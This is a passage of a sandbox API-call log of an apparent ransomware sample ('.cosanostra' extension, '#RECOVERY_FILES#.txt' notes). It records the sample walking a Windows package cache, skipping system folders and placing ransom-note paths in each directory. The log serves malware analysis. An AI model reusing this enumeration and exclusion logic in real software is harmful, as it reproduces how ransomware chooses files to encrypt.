(lpString1=".", lpString2="Windows") returned -1 [0082.168] lstrlenW (lpString="Windows") returned 7 [0082.168] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.168] lstrlenW (lpString="Program Files") returned 13 [0082.168] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.168] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.168] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.168] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.168] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.168] lstrlenW (lpString="System Volume Information") returned 25 [0082.168] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\.") returned 116 [0082.168] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.168] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.168] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.168] lstrlenW (lpString="Windows") returned 7 [0082.168] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.168] lstrlenW (lpString="Program Files") returned 13 [0082.168] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.168] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.168] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.168] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.168] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.168] lstrlenW (lpString="System Volume Information") returned 25 [0082.168] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\..") returned 117 [0082.168] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.168] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.168] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.168] lstrcmpiW (lpString1="cab1.cab", lpString2="Windows") returned -1 [0082.168] lstrlenW (lpString="Windows") returned 7 [0082.168] lstrcmpiW (lpString1="cab1.cab", lpString2="Program Files") returned -1 [0082.168] lstrlenW (lpString="Program Files") returned 13 [0082.168] lstrcmpiW (lpString1="cab1.cab", lpString2="Program Files (x86)") returned -1 [0082.168] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.168] lstrcmpiW (lpString1="cab1.cab", lpString2="$Recycle.bin") returned 1 [0082.168] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.168] lstrcmpiW (lpString1="cab1.cab", lpString2="System Volume Information") returned -1 [0082.168] lstrlenW (lpString="System Volume Information") returned 25 [0082.168] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 123 [0082.168] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.169] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.169] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.169] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 123 [0082.169] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.169] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Windows") returned -1 [0082.169] lstrlenW (lpString="Windows") returned 7 [0082.169] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Program Files") returned 1 [0082.169] lstrlenW (lpString="Program Files") returned 13 [0082.169] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Program Files (x86)") returned 1 [0082.169] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.169] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="$Recycle.bin") returned 1 [0082.169] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.169] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="System Volume Information") returned 1 [0082.169] lstrlenW (lpString="System Volume Information") returned 25 [0082.169] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 140 [0082.169] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch=".cosanostra") returned 0x0 [0082.169] lstrcmpW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.169] lstrcmpW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="_uninstalling_.png") returned 1 [0082.169] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 140 [0082.169] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0082.169] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0082.169] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\#RECOVERY_FILES#.txt") returned 135 [0082.169] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\#RECOVERY_FILES#.txt") returned 135 [0082.169] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0082.170] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0082.170] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.170] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.171] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.171] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.171] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\#RECOVERY_FILES#.txt") returned 103 [0082.171] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\#RECOVERY_FILES#.txt") returned 103 [0082.172] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0082.172] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="Windows") returned -1 [0082.172] lstrlenW (lpString="Windows") returned 7 [0082.172] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="Program Files") returned -1 [0082.172] lstrlenW (lpString="Program Files") returned 13 [0082.172] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="Program Files (x86)") returned -1 [0082.172] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.172] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="$Recycle.bin") returned 1 [0082.172] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.172] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="System Volume Information") returned -1 [0082.172] lstrlenW (lpString="System Volume Information") returned 25 [0082.172] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 82 [0082.172] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1 [0082.172] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="..") returned 1 [0082.173] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned 84 [0082.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.186] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.186] lstrlenW (lpString="Windows") returned 7 [0082.186] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.187] lstrlenW (lpString="Program Files") returned 13 [0082.187] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.187] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.187] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.187] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.187] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.187] lstrlenW (lpString="System Volume Information") returned 25 [0082.187] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\.") returned 84 [0082.187] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.187] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.187] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.187] lstrlenW (lpString="Windows") returned 7 [0082.187] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.187] lstrlenW (lpString="Program Files") returned 13 [0082.187] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.187] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.187] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.187] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.187] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.187] lstrlenW (lpString="System Volume Information") returned 25 [0082.187] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\..") returned 85 [0082.187] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.187] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.187] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.187] lstrcmpiW (lpString1="packages", lpString2="Windows") returned -1 [0082.187] lstrlenW (lpString="Windows") returned 7 [0082.187] lstrcmpiW (lpString1="packages", lpString2="Program Files") returned -1 [0082.187] lstrlenW (lpString="Program Files") returned 13 [0082.187] lstrcmpiW (lpString1="packages", lpString2="Program Files (x86)") returned -1 [0082.187] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.187] lstrcmpiW (lpString1="packages", lpString2="$Recycle.bin") returned 1 [0082.187] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.187] lstrcmpiW (lpString1="packages", lpString2="System Volume Information") returned -1 [0082.188] lstrlenW (lpString="System Volume Information") returned 25 [0082.188] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned 91 [0082.188] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.188] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.188] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned 93 [0082.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.190] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.190] lstrlenW (lpString="Windows") returned 7 [0082.190] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.190] lstrlenW (lpString="Program Files") returned 13 [0082.190] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.190] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.190] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.190] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.190] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.190] lstrlenW (lpString="System Volume Information") returned 25 [0082.190] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\.") returned 93 [0082.190] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.190] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.190] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.190] lstrlenW (lpString="Windows") returned 7 [0082.191] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.191] lstrlenW (lpString="Program Files") returned 13 [0082.191] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.191] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.191] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.191] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.191] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.191] lstrlenW (lpString="System Volume Information") returned 25 [0082.191] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\..") returned 94 [0082.191] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.191] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.191] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.191] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="Windows") returned -1 [0082.191] lstrlenW (lpString="Windows") returned 7 [0082.191] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="Program Files") returned 1 [0082.191] lstrlenW (lpString="Program Files") returned 13 [0082.191] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="Program Files (x86)") returned 1 [0082.191] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.191] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="$Recycle.bin") returned 1 [0082.191] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.191] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="System Volume Information") returned 1 [0082.191] lstrlenW (lpString="System Volume Information") returned 25 [0082.191] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned 115 [0082.191] lstrcmpW (lpString1="vcRuntimeAdditional_x86", lpString2=".") returned 1 [0082.191] lstrcmpW (lpString1="vcRuntimeAdditional_x86", lpString2="..") returned 1 [0082.192] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned 117 [0082.192] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.193] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.193] lstrlenW (lpString="Windows") returned 7 [0082.193] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.193] lstrlenW (lpString="Program Files") returned 13 [0082.193] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.193] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.193] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.193] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.193] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.193] lstrlenW (lpString="System Volume Information") returned 25 [0082.193] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\.") returned 117 [0082.193] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.193] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.193] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.193] lstrlenW (lpString="Windows") returned 7 [0082.193] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.193] lstrlenW (lpString="Program Files") returned 13 [0082.193] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.193] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.193] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.193] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.194] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.194] lstrlenW (lpString="System Volume Information") returned 25 [0082.194] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\..") returned 118 [0082.194] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.194] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.194] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.194] lstrcmpiW (lpString1="cab1.cab", lpString2="Windows") returned -1 [0082.194] lstrlenW (lpString="Windows") returned 7 [0082.194] lstrcmpiW (lpString1="cab1.cab", lpString2="Program Files") returned -1 [0082.194] lstrlenW (lpString="Program Files") returned 13 [0082.194] lstrcmpiW (lpString1="cab1.cab", lpString2="Program Files (x86)") returned -1 [0082.194] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.194] lstrcmpiW (lpString1="cab1.cab", lpString2="$Recycle.bin") returned 1 [0082.194] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.194] lstrcmpiW (lpString1="cab1.cab", lpString2="System Volume Information") returned -1 [0082.194] lstrlenW (lpString="System Volume Information") returned 25 [0082.194] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 124 [0082.194] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.194] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.194] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.194] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 124 [0082.194] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.194] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="Windows") returned -1 [0082.194] lstrlenW (lpString="Windows") returned 7 [0082.194] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="Program Files") returned 1 [0082.194] lstrlenW (lpString="Program Files") returned 13 [0082.194] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="Program Files (x86)") returned 1 [0082.194] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.194] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="$Recycle.bin") returned 1 [0082.194] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.194] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="System Volume Information") returned 1 [0082.194] lstrlenW (lpString="System Volume Information") returned 25 [0082.194] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch=".cosanostra") returned 0x0 [0082.194] lstrcmpW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.194] lstrcmpW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="_uninstalling_.png") returned 1 [0082.194] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 144 [0082.194] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0082.194] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0082.195] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\#RECOVERY_FILES#.txt") returned 136 [0082.195] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\#RECOVERY_FILES#.txt") returned 136 [0082.195] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0082.195] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0082.195] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.195] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.196] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.196] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.196] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\#RECOVERY_FILES#.txt") returned 103 [0082.196] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\#RECOVERY_FILES#.txt") returned 103 [0082.196] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0082.196] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="Windows") returned -1 [0082.196] lstrlenW (lpString="Windows") returned 7 [0082.197] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="Program Files") returned -1 [0082.197] lstrlenW (lpString="Program Files") returned 13 [0082.197] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="Program Files (x86)") returned -1 [0082.197] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.197] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="$Recycle.bin") returned 1 [0082.197] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.197] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="System Volume Information") returned -1 [0082.197] lstrlenW (lpString="System Volume Information") returned 25 [0082.197] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1 [0082.197] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1 [0082.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.198] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.198] lstrlenW (lpString="Windows") returned 7 [0082.198] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.198] lstrlenW (lpString="Program Files") returned 13 [0082.198] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.198] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.198] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.198] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.198] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.198] lstrlenW (lpString="System Volume Information") returned 25 [0082.198] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.198] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.198] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.198] lstrlenW (lpString="Windows") returned 7 [0082.198] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.198] lstrlenW (lpString="Program Files") returned 13 [0082.198] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.198] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.198] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.198] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.198] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.198] lstrlenW (lpString="System Volume Information") returned 25 [0082.198] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.198] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.198] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.198] lstrcmpiW (lpString1="packages", lpString2="Windows") returned -1 [0082.198] lstrlenW (lpString="Windows") returned 7 [0082.198] lstrcmpiW (lpString1="packages", lpString2="Program Files") returned -1 [0082.198] lstrlenW (lpString="Program Files") returned 13 [0082.199] lstrcmpiW (lpString1="packages", lpString2="Program Files (x86)") returned -1 [0082.199] lstrlenW (lpString="Program Files (x86)") returned 19 